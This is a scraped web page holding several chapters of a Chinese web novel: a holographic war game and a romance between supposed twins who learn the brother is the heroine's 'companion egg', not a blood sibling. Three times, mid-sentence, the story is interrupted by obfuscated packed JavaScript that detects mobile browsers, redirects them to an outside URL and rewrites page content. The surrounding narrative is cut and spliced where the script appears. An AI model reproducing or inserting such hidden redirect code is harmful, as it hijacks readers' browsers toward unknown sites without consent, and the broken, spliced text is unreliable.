可选择的兵种非常多,可以独立作战,也可以组队打团。游戏还会根据你在游戏内的战绩设定军功,积累一定功绩之后就可以升职。 不同的军团就是不同的服务器,几人选好进了朴实无华的‘老虎军团’,加了好友之后建立了一个四人小队。 不知道由于什么原因,游戏并没有给玩家设置捏脸设定,所有人进了游戏之后都只能在初始建模里面选择,或者系统随机。 所以等到四个人在小队房间集结的时候,看着四张陌生的脸面面相觑,笑闹了好一会才进入游戏。 “你们记得把痛感调一下,虽然游戏里的痛感最多只有现实1/10,但也不是好受的。” 梁翘提醒道。 进入游戏之后,他们被随机传送到了一处荒凉小镇。 瞧着破败异常,除去战争带来的伤害之外,镇子本身的建筑与风格也不像是新历的。 梁意心下了然。“这是旧历的建筑,应该是复原的保卫之战时期。” 看了一眼他们的任务:[三花一草小队本局游戏任务为:消灭4只异种。] 挺简单的,毕竟是新手任务,主要以指引为主。 新历3044年全息游戏已经不算稀奇了,她们也玩过各种类型的全息、枪战游戏,只不过以旧历蓝星保卫之战为背景的游戏确实很少。 以真实历史背景作为游戏设定很少见,虽然保卫之战后的史料留存很少,但也不是没有记录的。要做到完全还原很难,但如果不还原更是会被骂死。 梁翘几人好奇地打量四周,往小镇内部走去。 新手的第一次任务都会有指引,且不会安排联机,只是为了让她们熟悉操作界面与游戏设置的。 故而几人都非常放松,边走边聊边看。 其中以梁意说的话最多,他喜欢研究历史,最近又刚好在看《蓝星纪事》,多少比另外几人知道的多些,她们提问时便给他们科普一下。 危机就是在这个时候出现的。 两只异种忽然从天而降,左右进攻。 她们此时正走到镇子入口不远的一个小型广场上边,毫无遮挡。 没有丝毫准备的梁翘和邓一瞿就这样被秒了。 由于痛感调的很低,她们俩还没反应过来,人就已经进入待机室了。 被队友缓冲了一下的梁意和江骄阳迅速射击,击中异种头颅。 两人并两异种消失在游戏场景内。 梁翘:…… 梁意:…… 邓一瞿:…… 江骄阳:…… 小队的语音频道传来江骄阳的声音。 “不是吧,这么弱的异种,你们俩就这么被秒杀了??”江骄阳难以置信地问。 “靠!这是偷袭啊!谁知道会从天上掉下来。” 邓一瞿气结,她擅长的枪战游戏没有一千也有八百了,没想到今天阴沟里翻船。 “……太放松警惕了,一直没什么动静。”梁翘一脸无奈。 江骄阳毫不留情地吐槽:“自以为是,我和梁意怎么没放松警惕。” “要不是我们俩站在边上,你以为你们俩还能活吗!?” 邓一瞿气得跳脚。 梁意向来不管这种无意义的呛声,他一心想着刚才梁翘被异种挠伤了,赶忙追问:“翘翘,没事吧?” 队友死亡之后存活队友是看不到她们的,只能听到声音,只是待机室还可以看到本局游戏画面。 他看不到梁翘,不知道她现在是什么情况,有些担心。 “没事的哥,我把痛感调低了,基本上没感觉到什么就出局了。” 梁意这才放松。 “死了就是死了,你们俩就好好看着吧。”江骄阳用手指向天空,一副那两人已经上天了的表情,“梁意,走吧,去把剩下两只找出来杀了。” 梁意点头,这次他们没再聊起旧历历史,打起精神在四周探查起来。 出局的两人只能坐在待机室跟随队友视角观战,时不时聊两句。 待机室的语音频道和全队的频道是可以关闭连通的,免得待机室的动静打扰了游戏中队友的发挥,梁翘和邓一瞿此时就是关了全队语音在聊天。 “真是老马失前蹄啊,那么难的游戏都能通关,栽在这个新手指引上边了。” 邓一瞿很没形象的瘫坐在地上,跟梁翘抱怨着。 梁翘也没客气,一屁股坐下。 “这个游戏还挺有意思的,出了这么多枪战游戏了,它还能推陈出新,挺不错的。” 这话邓一瞿也很赞同,虽然死得快,但这个游戏确实好玩。 见梁翘神态放松,似乎心情不错,她想了想,主动提起了一件事。 “翘翘,我现在确定了。” “嗯?”梁翘侧过头看她,神色平静,“确定什么了?” 邓一瞿不知怎么有些紧张,她现在看梁翘的脸还是游戏自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁翘却把嘴紧闭起来,一个字也不肯再说。 “你怎么了?不会吧?这么生气,不至于吧,咱们不是说好了就让我确定一下吗。”她推了梁翘一下,盯着梁翘面无表情的脸大呼小叫。 梁翘刚才听到邓一瞿的问题脑子里一阵轰鸣,‘嗡——嗡——’的声响在耳旁炸开,心跳瞬间飙升,好一会意识一片空白。 邓一瞿凑过来对她又推又拉,大呼小叫,才让她逐渐清醒。 她甩了甩脑袋,艰难地勾起嘴角,故作自然地打趣:“所以你承认你那天是色令智昏了?” 幸好,幸好是在游戏里,幸好用的是游戏建模,幸好看不出来…… 邓一瞿见她恢复正常,松了口气,没跟她生气就好。 “去你的,我这是有一双善于发现美的眼睛。” 梁翘的心跳逐渐平息,不再感觉浑身僵硬不能动弹,她狠狠掐了一下自己,可惜游戏里的痛感数值调得太低了,一点感觉也没有。 无奈地苦笑了一下,顺着邓一瞿的话往下接。 “既然你已经确定了,那我回头……回头也跟我哥说一声。” “梁意哥不会介意吧?” 梁翘摇头,他怎么会介意呢。就连今天这个局,也是梁意误以为她要求他这样做,才愿意过来。 “不会,以后该怎么样还是怎么样。” 邓一瞿长舒一口气,心里放下一件大事。 又接着去看屏幕中梁意和江骄阳的游戏画面,他们已经找到了最后一只异兽,正准备进攻。 梁翘似乎也盯着屏幕看,极为认真。 实际上她神游天外,眼神空茫。 邓一瞿问的那三个问题仍然在她脑子里打转。 难道你跟梁意哥坐一起会想着他的身材吗? 她会。 听到他要和别人在一起会嫉妒吗? 她会。 会想跟他再亲密一点吗? 她会。 答案应该全都是否定的才对,但是她清楚地知道,自己心中每个问题的答案,都是她会。 12. 身份 “你知道她不喜欢你,那你知道谁喜欢你么?” 梁意脑子里不断回响着这句话,游魂般已经回到自己的房间将近两个小时了,他还是站在门口一动不动。 当时说完这句话之后,梁翘就松手放开了他,别开脸看向窗外,深呼吸了两次冷静下来,然后说自己困了,把梁意赶了出去。 梁意呆愣愣地听她的话,转身离开,又关上房门。 他想着梁翘这句话,脑中不断思考。 谁喜欢他?谁喜欢他至于让妹妹生这么大的气? 他思考着所有的可能,但脑海中有一个角落却被他深深压在心底,稍微触之便满面惊慌的甩开,不敢再深挖。 但大脑就是这样,有些事情越是让自己不要去想,反而在脑中愈发清晰。 梁翘这些日子的不对劲都涌上来。 听见邓一瞿摸了他的手就情绪激动;他说愿意和邓一瞿接触就生气;她主动去找松亭,但松亭走了也不见她伤心难过…… 梁意被这突如其来的猜想惊得面上一片骇然。 这不可能,肯定是他想歪了,他想错了。 他抬手,狠狠一巴掌扇在了自己的脸颊上。 梁意对自己没有留力,这一掌下去使得他右侧脸颊红肿异常,嘴唇被牙齿刮破,留下一道血迹。 清醒一点,肯定是自己想错了,绝对不会是这样。 他是哥哥,翘翘是妹妹,这不可能…… 梁意手脚发软,踉跄地往后倒了两步,摔在地上。 不是因为他隐约察觉到了这件事,而是他在察觉到这件事之后,心中的第一个想法。 他在庆幸。 庆幸梁翘没有想过把他推给别人,庆幸梁翘不是因为他没跟别人在一起才生气,而且因为在意自己。 梁意狠掐着自己的掌心,对脸颊和嘴唇的伤口视若罔闻。 他还算是人吗,他还能自称自己是哥哥吗,他还能像什么事都没发生一样面对梁翘吗…… 深夜的别墅里,无一处亮灯,但有两个房间一夜未眠。 第二天早上,兄妹两人都没出门。 郝闻以为是他们昨天喝多了,便也没管,由着他们赖床。 但早上不出来,中午不出来,都快到晚饭点了,还是没一点动静。 郝闻坐不住了,他先去梁意的房间敲门,梁意很快打开。 他被梁意脸上的红肿吓了一跳。 “小意,你怎么受伤了?” 梁意伸出手遮挡起来,幸好过去一日一夜已经消了不少,虽然还是红肿,但已经看不出来是指印了。 “昨天去接翘翘也喝了一点,不小心摔的。”他低声回答。 郝闻赶紧拉过他出来,到客厅翻出医用喷雾。 “你们俩真是的,允许你们出去玩也不能闹成这样,还受伤了。”他半是心疼半是生气给梁意脸上的伤口上药。 梁意垂下眼睛没有辩解。 在郝闻的关切声中,楼上传来一阵脚步声,是梁翘。 梁意没敢转头去看,他捏紧手指,越紧张脸上的表情越冷淡。 梁翘见郝闻在给梁意上药,脚步顿住一瞬,但下一秒还是向门外走去,没有多问。 “爸,我出去一趟。” 说完急匆匆地走了,头也不回。 “哎,翘翘,你哥哥……”郝闻话都还没说完,梁翘就已经不见人影了,他一脸疑惑地问梁意:“她去干什么,连你受伤了都不来看一下?” 这两人从小关系好,别说受伤了,互相就是破了一点皮都能把另一个急得半死,就跟伤在自己身上似的。 梁意小声解释:“翘翘……是有点事情。” 绝不能让郝闻看出什么来,不然这个家会崩溃。 此时离他们高考还有一周多的时间,家里的气氛愈发诡异,平静的表象已是难以维持,岌岌可危。 梁翘和梁意见着一个就见不到另一个,上学下学也不再一起。除了惯例的周五晚餐,永远出现不在同一空间。 梁青澄和郝闻看在眼里,但不论怎么问,怎么沟通,他们二人都说没事。 两人也没再多说一句话,昔日孟不离焦的二人视对方仿若洪水猛兽,对视一眼都不肯。 梁青澄看他们这副样子是忍了又忍,想着快要高考了,等考后再解决这件事。 考试那天早上,兄妹二人难得坐在一起吃了早餐。 梁青澄和郝闻都在,叮嘱了一番,便目送他们二人出门。 他们像往常一样步行去考点。今天考试,肯定比平时车子更多,坐悬浮车还不知道要堵到什么时候,所以都拒绝了母父的好意。 一路无言,直到在岔口分开,他们不在同一个考点。 梁意刚想走,但梁翘喊住他。 “别多想,好好发挥。” 这是梁意这些天见她露出的第一个笑脸,他也忍不住笑了一下:“好,你也是,翘翘。” 然后转身,各自走远。 新历的高考只是沿用了旧历高考的名字,实际上不论是考试内容还是方式都有了很大变化,只需要考一天就够了。 当晚,一家人坐在一起吃了顿饭,郝闻见两个孩子面色平静,显然发挥的还算不错,也没多问,放他们回房间休息了。 梁翘知道,梁意也知道,高考结束后,他们终究是要面对这件事了。 这些天来他们俩之前的不对劲必然被母父看在眼里,谁都不想把这事闹到家长面前去,那样就真的什么都挽回不了了。 梁翘在房间内静坐了许久,与她一墙之隔的是她哥哥梁意的房间,她知道,今晚不会只有她无眠。 深吸了一口气,梁翘下定决心。 必须要在母父发觉此事之前解决好,她得去找梁意谈一谈。 出门前她看了眼时间,已经将近凌晨了,不再多虑,梁翘推门而出。 但家里却并不如她想的那样安静。 梁意的房门紧闭,一丝光线都没透出来。三楼亮着光,但一楼的书房看起来也似有人,灯火通明。 难道梁意已经先她一步主动找到母父坦白了吗? 梁翘面色一白,本来要往梁意房间去的脚步急忙刹住,轻声往楼下的书房走去。 书房门关着,门边窗户也将窗帘紧紧拉着,门缝底下透出灯光和若隐若现的人声。 梁翘赶紧过去,推门就要进。 手已经触到书房的门把手,即将推开,但离得近了之后,书房内的人声足以被她听清。 也就是这句话止住了她所有动作。 “……不应该隐瞒小意的身份,现在两个孩子都长大了,让他们怎么相处?” 是郝闻,他的声音不大,语气中带着埋怨向某个人说。 梁翘呆住,什么身份,梁意还能有什么身份? 另一个人的身份很快明晰,不是梁意,而是梁青澄。 “……当初没有先例,不这样做还能怎么办,难道直说小意是什么,翘翘的童养夫?” 郝闻不依不饶,“那也不能说他们是双胞胎呀……现在我们怎么办?” 梁青澄似乎是叹了口气,语气很是无奈,“宝宝,你冷静一点,我们从来没说过他们俩是双胞胎。” “梁青澄,你给我正经一点!我跟你说认真的,”郝闻没被她腻歪的话哄住,今天非要论出个结果来,“他们俩最近都成什么样了呀,你又不是没看见,这是兄妹吵架吗,连吃饭都不肯坐一起了。” “直说吧,告诉他们两个,他们不是兄妹,小意是翘翘的伴生蛋。” 门外的梁翘呆若木鸡,瞠目结舌地站在原地,只感觉刚刚听到的短短几句话比自己前18年接收到的信息都要夸张,难以承受。 他们在说什么,什么伴生蛋,什么身份,他们不是双胞胎,她和哥哥不是兄妹,他们之间没有血缘关系。 此刻是真实的吗,还是她身在梦中,因为这些天一直想着这件事,所以造出了一个美梦来哄哄自己。 母父不仅看出来了她和梁意的不对劲,甚至还说他们其实不是兄妹,这是梦吗。 书房内的谈话声还在继续,但所有词句入耳都像是蒙上了一层纱,梁翘浑浑噩噩,再也接收不到任何讯息。 什么时候回到房间的她已经不记得了,也不记得自己有没有被人发现,她对剩下的事情都不太有印象。 等意识回归的时候,她已经回到了自己房间,靠着房门坐在地上。 梁翘摸索出终端,已经快三点了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130388|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这下真的万籁俱寂,仿佛世间所有动静都消失了,只剩下她。 伴生蛋……梁意是她的伴生蛋。 这个名词有些熟悉,似乎在某个课程中学到过。 梁翘在终端上搜索‘伴生蛋’,很快出来她想要了解的信息。 蓝星新历,人类慢慢恢复战争所带来的创伤,休养生息了100年才得以平复,新生人数呈缓慢上升趋势。 除了因为保卫之战所带来的战争创伤后遗症以及人类基因病之外,还有一个影响,就是伴生蛋现象。 人类从古至今都是胎生,从来没有过蛋生,所以第一个携带伴生蛋的新生儿获得了前所未有的关注。 这种情况极为罕见,人类研究了上千年才琢磨出一点。 受当初入侵异种的影响,无数异种被人类消灭,它们的尸体、血液、基因都留在蓝星这片土地上。有些人类受到的影响较大,在孕育下一代时,还在肚子里的生命察觉到危险,便会有‘伴生蛋’先一步出生,为本体的降生保驾护航。 伴生蛋是怎么出现的?到现在都没有准确的科学依据。 据检测,伴生蛋中诞生的守卫者与母体并无血缘关系,与本体也没有血缘关系,祂们的基因序列找不到起源,但会随着本体一起长大,并被孕检设备检测。 伴生蛋中出生的孩子一般都比较大,而本体都会比较弱小,尚且没有证据证明是伴生蛋的存在剥夺了本体的成长空间,还是本体弱小所以才会有伴生蛋的存在,科学界目前倾向于后者。 这种现象被人类研究了上千年,伴生蛋降生数量最多的时候是在新历前800年,后来逐年下降,到3044年,已经是十万人中难出一例了,所以很少听说。 对于伴生蛋的定位,光是曾用名就有十几个版本,直到新历2003年才定下来现在的官方名称。伴生蛋与本体的关系有诸多版本,这取决于每个本体与伴生蛋之间的关系,有些成为情侣,有些是朋友,有些只是伴生——作为守卫者伴本体一生。 所以,很难说伴生蛋意味着什么,也很难给伴生蛋定位。 梁翘看完这些信息,怔愣半晌,她想起小时候梁意似乎是比她大很多。 她从3岁左右开始记事,只感觉哥哥永远比她高大,看起来很有安全感,直到6岁左右她才逐渐赶上来,在哥哥面前显得没有那么娇小。 她一直以为是梁意天赋异禀,天生有这么高大……所以其实不是,因为梁意是她的伴生蛋,他的身体迫切的想要长大,想要为她排除这个世界上一切可能对她造成伤害的危险。 直到6岁左右,确认没有危险,他的身体才放松下来,不再急着成长。 梁翘记得很清楚,梁意小时候总说身体很疼,也是直到6岁左右才渐缓。 那是强行长大所造成的生长痛…… 梁青澄的一句话忽然浮现在她脑中。 “……我们从来没说过他们俩是双胞胎……” 梁青澄与郝闻确实没有明白说过。但除了是双胞胎,没有人会认为他们之间会有其他关系。 梁意和她的生日是同一天,他们都喊梁青澄和郝闻妈妈爸爸,他们住在同一个家里,他们都姓梁。 所有人都知道,梁意是哥哥,梁翘是妹妹。 前18年不都是这么过来的吗。 梁翘浑浑噩噩地起身,推开房门,走到了梁意的房间门口。 房间里面很安静,没有任何动静,她想要推开门的手顿了顿,最终还是放下。 算了,都这个点了,正是睡得最沉的时候。 她想要回去,刚刚转过身,就听见背后的房门传来一阵细微的响动。 梁意的门开得悄无声息,他一夜没睡,听见门口有些动静,便过来看看,一开门就看见梁翘转身的背影。 “翘翘,怎么了。”他声音沙哑,闷声询问。 梁翘没想到门会开,只是她想来找梁意也是下意识间的举动,实际上脑子里的思绪还没有理清,她不知道应该从哪里和梁意说起。 一阵沉默过后,她没回头,对着眼前漆黑的角落,神色一片茫然。 “……哥,梁意,你不是我的哥哥。” 梁意只觉心头剧痛,被这句话打得眼前瞬间模糊,站立不住。 13. 拥抱 梁意早有准备,他和梁翘之间会有一次谈话,双方心照不宣,且都默契地放到了高考以后。 他一夜没睡,等待着将要到来的审判。 说来好笑,明明是梁意发现梁翘可能喜欢自己,他却觉得万分愧疚,仿佛让妹妹喜欢上是一件罪无可赦的事情。 都是他不好,他一定哪里没做好,才会让妹妹有这种想法。 妹妹不懂事,他作为哥哥,没有看护好妹妹,没有正确的引导妹妹,这就是他最大的罪。 梁意的所有想法都建立在,他是哥哥,梁翘是妹妹的这个基础上。 作为哥哥,他应该怎么做,怎么对妹妹好。 但现在他听见了什么? 妹妹说,梁意,你不是我的哥哥。 已经连他是哥哥都不愿意承认了吗,除了是梁翘的哥哥,他还能是什么。 梁意心如刀绞,眼圈泛红,抖着嘴唇不可置信地问:“我,我不是你的哥哥……翘翘,你不能,不能这么对我……我怎么能不是哥哥呢?” 凌晨三点,夜静更阑,梁翘的背影隐藏在黑暗中看不真切。 水雾逐渐弥漫上眼睛,梁意伸出手想拉住梁翘,但眼前开始模糊,朦胧的身影若隐若现,一伸手竟然抓了个空。 “你不能这样对我……翘翘,我是哥哥,”他声音哽咽,语不成调,“都是我不好,我太坏了,我没让你满意,翘翘,我……” 他的话语被打断。 梁翘倏忽转身,快走两步靠近梁意,伸手掐住他的下巴抬起来,借着微弱的月光打量他脸上的神色。 她拧着眉毛,语气疑惑:“你在说什么?什么不满意?” “对不起,翘翘,我,我是你的哥哥,你不能说我不是哥哥,对不起,我……” 梁翘再一次打断。 “哥,你冷静一点,”她有些看不清梁意的表情,但掐住人下巴的手指感受到了弥漫上来的湿意,“我们谈一谈,好吗,事情不是你想得这样。” 往日冷静的梁意此刻却失去了所有的理智,他似乎沉浸在梁翘否认他们之间关系的迷沼中,难以自拔。 担心这样下去会把母父惊醒,梁翘半搂半抱地将梁意带入他的房间,放在沙发上。 “哥,梁意,听我说,冷静下来。” 梁意被这声‘哥’惊醒,他艰难地从纷乱的思绪中抽身而出,听从梁翘的指挥,直视她的眼睛,一眨不眨。 “我不是要跟你断绝关系,我只是需要告诉你一个事实。” 梁翘坐在沙发另一侧,她和梁意之间的距离很近,隐约能看到梁意颤抖的尾指。 叹了口气,她伸出手,握住梁意的手。 她的神色略带迟疑,但很快坚定有力的告诉梁意:“你我之间没有血缘关系,哥哥,我们不是兄妹,不是双胞胎。” 梁意心胆俱裂,梁翘的话变成天书,进入他的耳中,但分辨不清其中的意思。 但梁意最擅长的就是听从指挥,梁翘让他冷静,他哪怕再崩溃,也会逼自己平复下来,一个字一个字的去嚼、去分辨。 “什么……什么意思。” “哥哥,”梁翘看着他叹了口气,“梁意,你是我的伴生蛋。” 梁意脸上还挂着泪珠,他睁大眼睛看向梁翘,明显受到了极大的冲击。 两人对质间,梁翘忽然想起一件往事。 梁意从小身板就比她大,从会说话走路起就自认为保护者的角色。 但他生性内敛羞涩,不算霸道,保护便也保护的不伦不类。 小时候他们和别的小孩一起玩,梁翘调皮,总是捣蛋,那些孩子就合起伙来捉弄她。梁翘胆子大,她不怕蛇虫鼠蚁,不怕恶作剧,不怕突如其来的惊吓,每次都只觉得好玩。 但梁意不一样,他害怕这些,他小时候不像现在这样寡言,外表看着也不冷峻,虽然身板高大,但那些小孩知道他是个纸糊的老虎,根本不怕他。 他每次见别人‘欺负’梁翘,总是第一时间把梁翘带离现场,或者把那些‘可怕’的东西远远丢开,然后带着一圈眼泪,自以为恶狠狠地和那些小孩示威,展示自己的霸气。 梁翘见哥哥刚刚丢掉老鼠的手都还在颤抖,却还是站在她面前保护她,每次都会配合的缩在他后边,让他替自己出气。 但没人会怕他,他强撑着的底气唬不住任何人。梁翘就从他身后探出来,捏紧拳头对着那些小孩摆出恶狠狠的表情,告诉他们再不配合就会用拳头教他们做人。 小朋友也是懂得察言观色的,大家都知道谁好惹,谁不好惹,梁翘的威胁每次都能奏效。 后来逐渐长大,这种小孩之间的玩闹逐渐减少,梁意也不知道从哪里学来的,对着生人话越来越少,每天摆着一张冷脸,乍一看就很唬人。 只有梁翘和家人知道,梁意还是那个梁意。 他仍然有许多害怕的东西,但所有恐惧都比不过他为保护梁翘所生出的勇气。 只是仍然,像小时候的每一次一样,他害怕恐惧的时候就会流泪,冷厉的表情只是一戳就破的气球,任谁都能看出他底下的柔软。 梁翘当初知道自己的感情之后之所以躲着梁意,以至于借酒浇愁的地步,除了因为梁意是自己的哥哥之外,更重要的原因就是她知道,梁意无法承受住这件事。 梁意的反应也不出她所料。他把所有罪过都揽到自己身上,就算是梁翘先表露心迹,他也不会觉得梁翘有半点不好。 如果不是偶然得知了梁意不是自己的哥哥,而是自己的伴生蛋,那么今天的这场对话,走向就会完全不同。 “伴生蛋是什么意思你应该比我清楚,需要我再给你解释一下吗?” 她捏紧梁意的手,力道重了几分,促使他回过神来。 梁意直愣愣地看着她,半晌无言。 他不会质疑梁翘,梁翘既然说他是伴生蛋,他一秒钟都不会怀疑。 只是这个消息太过突然,他还没反应过来。 “我,翘翘,我们不是,不是兄妹,我们……” “我们不是兄妹,哥哥,不要再为我们之间的感情恐惧。” 梁翘语气坚定,不容置喙。 “好,我知道了,”梁意下意识答应下来。 房间内一时静默,梁意的理智逐渐回笼,到此时才发现梁翘还紧握着他的手不放,他想要抽出,却没抽动。 他对着两人交握的手欲言又止。“翘翘,虽然我们没有血缘关系,但是我们一直是兄妹,现在……” 现在怎么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130389|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?梁翘挑眉看向他的眼睛,梁意躲躲闪闪,不敢和她对视,梁翘自然也感受到了他想要抽出的举动。 他们俩之间总是这样,梁意拿不定主意的时候,梁翘总是坚定,梁意拿定主意的时候,也得听梁翘的。 本来她心中还在茫然,对于这突如其来的身份转变一时间难以适应。 但见到梁意之后,所有茫然全部烟消云散。 伴生蛋这个身份,比兄妹更加紧密。 梁意因她而生,可以为她而死。他不属于母父,不属于自己,只属于她。 不论身体还是灵魂,梁意的一切都可以被她掌握,正如此刻被她紧握住的这双手。 既然母父一早就知道他们之间的关系,看起来也毫不意外他们之间的关系转变,那么,为什么不可以呢? 当然可以,她可以拥有梁意。 “哥哥,既然我们不是兄妹,那就可以好好谈一下那件事了。”她低着头把玩梁意的手指,揉捏抚弄。 梁意不自在的蜷了蜷手指,但他不敢用力,很容易就被梁意抚开。 “翘翘,你为什么还要喊我哥哥。” 梁翘宛然一笑,“不为什么,刺激。” 话音刚落,她紧盯住梁意。 不出她所料,梁意眼神躲闪,耳尖红到滴血,很不适应她突然的转变。 下一秒,一记直球打了出去,她不允许梁意躲避。 “哥,我喜欢你,你喜欢我吗?” 梁意不像她适应能力良好,几个小时之前才知道他们之间的关系,马上就能跟曾经做了18年哥哥的人告白。 一想到问出这个问题的人是翘翘,是妹妹,梁意就羞愤欲死。 但他也不想让梁翘失望,不想欺骗梁翘。 于是,梁意顾不得多想,他下意识答出最真实的想法:“我也喜欢你,翘翘。” 闻言,梁翘露出一个满意的笑容,用力把梁意扣在自己怀里,紧紧拥抱。 梁意作为她的伴生蛋,受她支配,她拥有梁意的一切,自然也包括身体。 只是现在……还不是时候。 表露感情只是今晚时机合适加上一时冲动,但其它事,现在还不行。 不论是母父那里,还是朋友那里,她都需要一一解决,确保他们之间无任何问题。 * 那天晚上梁翘没有留太久,和梁意抱了一会之后就回房了,留下空间给梁意冷静。 没过多久天就亮了,她只睡了不到五个小时,却不觉得疲累,精神饱满。 梁青澄和郝闻如她所料都在家里,两人穿戴整齐坐在客厅,视线时不时落在二楼楼梯口。 看来昨晚他们也已经商量好了,关于她和梁意的事情。 梁翘神态自若,脚步轻快,跟他们打了个招呼之后就去餐厅找早饭吃,看起来心情很不错。 他们俩一大早就在这等着了,没想到两个孩子半天不见出门。 现在第一个出现的人居然是梁翘,而不是每个休息日都会早起跑步的梁意,不免觉得有点奇怪。 郝闻试探性地问:“翘翘,今天这么早,你哥还没起呢?” 梁翘叼着面包,声音含糊。 “他昨天哭累了睡着了,还没睡醒吧。” 14. 真相 梁青澄:…… 郝闻:…… “你说什么?”梁青澄拧起眉毛,像来淡定的脸上满是不可置信,刚刚她听到了什么话? 梁翘仿佛没有看到母父二人的震惊,自顾自吃着早饭。 她是故意的,这是一点小小的,对于母父瞒了他们18年的报复。 或许他们有苦衷,有别的思量,但无法否认,他们的隐瞒给梁翘和梁意造成了伤害。 就算他们对彼此没有那方面的感情,突然有一天知道自己和对方并不是一母同胞的兄妹,难道就不会伤心吗?梁意得知自己其实与母父并无血缘关系,难道就不会震痛吗? 昨夜梁意只是被他们之间的事情冲击,暂时还没想到这方面来,冷静之后肯定能够想到。 今天这么晚还没有下来,想必就是因为这个。 见她不答话,梁青澄走过来坐在她的对面,打量着她脸上的表情。 梁翘把嘴里的食物咽下去,冲着梁青澄弯了一下眼睛:“怎么了妈妈?这么看我干什么?” “你知道了?” “知道什么?” “别装傻,你知道我在说什么。” 郝闻也走过来,看这母女俩打机锋。 “什么啊?你从来没说过,什么话也没告诉我,我怎么会知道呢?”梁翘一脸无辜,打死不认。 梁青澄手指敲击着桌面,神情毫无变化,似乎是在判断梁翘话里的真实性。 梁翘恍若未觉,悠哉地吃完早餐,便准备上楼。 想了想,她又回头进厨房拿了些梁意平时喜欢吃的东西带上去。 “翘翘,等会和小意来书房一趟,我有事告诉你们。” 梁青澄不再管梁翘是不是已经知道了真相,她和郝闻已经商定今天会把事情都告诉两个孩子。 “好。” 上楼之后,梁翘脚步不停,直往梁意的房间过去。 果不其然,梁意早就醒了,他穿戴整齐地坐在床上发呆,直到梁翘进门的声响把他惊动。 “哥哥,过来吃早饭。” 她把手中的食物放在沙发旁边的小几上,招手喊他。 梁意见着她先是笑了一下,然后又脸红,慢吞吞地挪过去。 “先吃早饭,等会妈和爸爸找我们。” 梁意刚喝了一口果汁,就被这句话吓得呛住,咳个不停。 “咳……什,什么,咳咳……”他顾不得顺气,下意识抓住梁翘的衣服,眼尾泛红,嘴里还在咳着。 梁翘皱眉,拍着他的背给他顺气,等他平复下来,再回答他的问题。 “你这么紧张干什么,你以为我是怎么知道我们之间的关系,”她没好气的吐槽,“他们早就看出来我们之间有猫腻,喊我们下去就是为了说这个事儿。” 梁意愣愣地捧着杯子:“说什么事。” “当然是说,你是我的……”梁翘伸手摸了摸他的脸,一脸调笑,“是我的伴生蛋。都过去好几个小时了,你还没缓过来?” “我知道,只是妈和爸爸那边,我……” “不要害怕,他们永远都是你的妈妈和爸爸。” 梁意看着她坚定的眼神,慌乱了半天的心绪终于渐渐平静下来。 不再多问,等会自然什么都知道了。 吃完饭,梁意后知后觉地不好意思起来,他这么大的人了,还要妹妹把早餐端到房间来哄他。 红着脸和梁翘一起下楼,脑子里那些关于等会谈话的紧张之情淡去。 梁青澄和郝闻一直在客厅里等他们,见两个孩子恢复往日的亲密,不见丝毫冷淡,隐约猜到他们可能是知道了什么。 “过来吧,到书房来。” 梁青澄率先起身向书房走去,郝闻紧跟其后。 做好心理准备之后,梁翘坦然得多,她见梁意又开始捏自己的衣服,伸手把他的手指抻开,紧握了一瞬,然后放开。 梁意忽然就心定了。 一楼的书房很大,三楼和二楼都有书房,但他们一家人用得最多的还是一楼。 梁翘他们还小的时候,梁青澄只要是在家办公,都会留在一楼书房,时不时出来看看在外玩耍的两个小孩。等他们上学之后,也是待在这个书房完成课业。 几人都坐定之后,梁青澄也不再犹豫,平铺直叙:“翘翘,小意,有一件事,今天我和你们爸爸需要告诉你们。” “你们或许已经知道了,或许还不知道,但我相信你们已经做好了心理准备我要说什么。你们俩不是兄妹,没有血缘关系。” 梁翘面色不变,梁意也有准备,不至失态。 只是两个人都没说话。 郝闻看这三人一个比一个平静,仿佛说出的不是什么惊天大雷,而是今晚去吃什么一样。 “你们……你们俩不说点什么?”他觑着梁翘和梁意的表情,试探性地一问。 “我们确实已经知道了。”梁翘点头。 梁青澄继续说:“你们不是双胞胎,小意,你是翘翘的伴生蛋。我们不是有意想瞒着这件事,只是当时先例太少,我们不清楚应该怎么处理你们两个之间的关系,就没有多做引导。” 他们其实没想过要把两个孩子当成兄妹长大,本来也不是兄妹,只是确实不知道应该怎么处理伴生蛋和本体之间的关系,索性随他们自由生长。 可想而知,在当时伴生蛋几乎无人听说过的社会环境中,两个孩子自然被所有人当成兄妹,他们自己也理所当然的认为是兄妹。 “我们……没有多做引导,想着等你们长大了之后自然可以处理好你们之间的关系,到时候要做兄妹,还是其他什么,都随你们。”梁青澄也确实做到了这一点,她从来不对两个孩子多做管束,任他们自由生长。“只是我们忽视了一点,在所有人都认为你们是兄妹的情况下,你们自然也会这样想。等我们发现的时候已经来不及了,你们对彼此关系的界定已经根深蒂固,难以再改。” 